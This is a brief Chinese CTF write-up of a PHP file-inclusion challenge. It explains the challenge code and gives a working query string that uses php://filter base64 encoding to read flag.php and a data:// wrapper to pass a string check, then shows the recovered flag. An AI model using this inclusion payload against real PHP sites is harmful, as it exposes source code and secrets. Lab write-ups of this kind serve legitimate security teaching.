开启场景
highlight_file(__FILE__) //显示代码到网页
isset //检查变量是否存在并且非null(空)
!empty //php内置函数,检查变量是否为空或未设置,正常变量为空会触发,但是有个!所以这里是不为空的时候触发
file_get_contents //从get提交的内容中,是否等于hello ctf
首先flag.php是我们需要读取的文件,代码大致意思就是说file1需要存在,然后file1没做限制,检查file2传入的内容是否等于hello ctf这个字符串,我们可以使用data协议来传参,然后file1来包含文件来读取flag
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf
发现了 base64 编码,解密它得到了 flag
cyberpeace{a9b5fc1dc51a4b9e0f384124c4e2e8a5}